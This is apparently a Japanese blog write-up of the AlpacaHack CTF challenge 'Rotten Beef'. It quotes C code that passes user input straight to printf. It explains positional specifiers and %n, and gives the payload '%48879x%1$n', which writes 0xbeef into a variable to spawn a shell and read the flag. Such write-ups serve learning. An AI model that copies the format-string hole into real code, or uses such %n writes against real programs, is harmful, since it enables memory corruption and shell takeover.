問題

Rotten Beef - AlpacaHack
Could you revive my rotten beef? 🦙 < flag is at /flag.txt
プログラムを実行すると「input>」が表示され文字列を入力すると「try again!」と表示されます

脆弱性
文字列を入力すると入力した内容が表示される部分があります。
scanf("%11s", buffer);
printf("Your input: ");
printf(buffer, &key, &dummy); // !?
printf("\n");
if(key == 0xbeef){
printf("key = 0x%x (dummy = 0x%x), ok!\n", key, dummy);
printf("Congratulations! spawning shell...\n");
execve("/bin/sh", NULL, NULL);
}
else{
printf("key = 0x%x (dummy = 0x%x), try again!\n", key, dummy);
}
printf(buffer, &key, &dummy); // !? ここの部分にFSB (Format String Bug)があります。
printfの第一引数ですがここにformat Stringと呼ばれる標準出力に表示されるデータの型を入れることができます。

C 言語の書式指定子について
書式指定子は、標準出力に表示されるデータの型を定義します。printf() で書式が設定された出力を表示する場合、または scanf() で入力を受け付ける場合に、書式指定子を使用する必要があります。 標準 C の中で使用できる、書式指定子...
POSIXにある固有の仕様があります。
printfに`%4$x`を指定すると4番目の引数を参照するそうです。
つまり、keyという変数を参照するには`%1$x`を指定すればいいことになります。

Cのprintfでの$(ドルマーク)の意味
よくCTFなどで書式化文字列攻撃をするときに%4$xというような文字列をprintfで渡したりしますが、この書式化文字列でのドルマークの意味はどういったものでしょうか?書式文字列攻撃について解説したこのページでも出てきています書式指定文字列...
keyという変数に値`0xbeef`であれば/bin/shが起動するので、keyに0xbeefを入れます
参考
Format string attack | OWASP Foundation
Format string attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve...
WriteUp
inputに以下の値を入れると/bin/shが起動します
%48879x%1$n
1. %48879x (大量の余白を持った出力)
x: 整数を16進数で出力します。: 「最小フィールド幅」を指定しています。(16進数だと0xbeef)48879- 意味: 引数として与えられた数値を16進数で表示しますが、その際に合計
48879文字分(16進数だと0xbeef)のスペースを確保して出力します。
2. %1$n (出力済み文字数の書き込み)
ここが最も特殊な部分です。
1$: 「1番目の引数を参照せよ」という位置指定です。n:printfにおける特殊な指定子で、「それまでに出力された文字数」を、対応する引数が指すポインタ先に書き込むという動作をします。- 意味: 1番目の引数(通常は整数のポインタ
int *)が指すアドレスに対して、直前の%xで出力した文字数(48879)を書き込みます。48879
3. flagを探す
シェルが起動したのでフラグを探します。lsコマンドを実行するとflag.txtがありました。

4. flagを表示する
catコマンドを使ってフラグを表示させます



コメント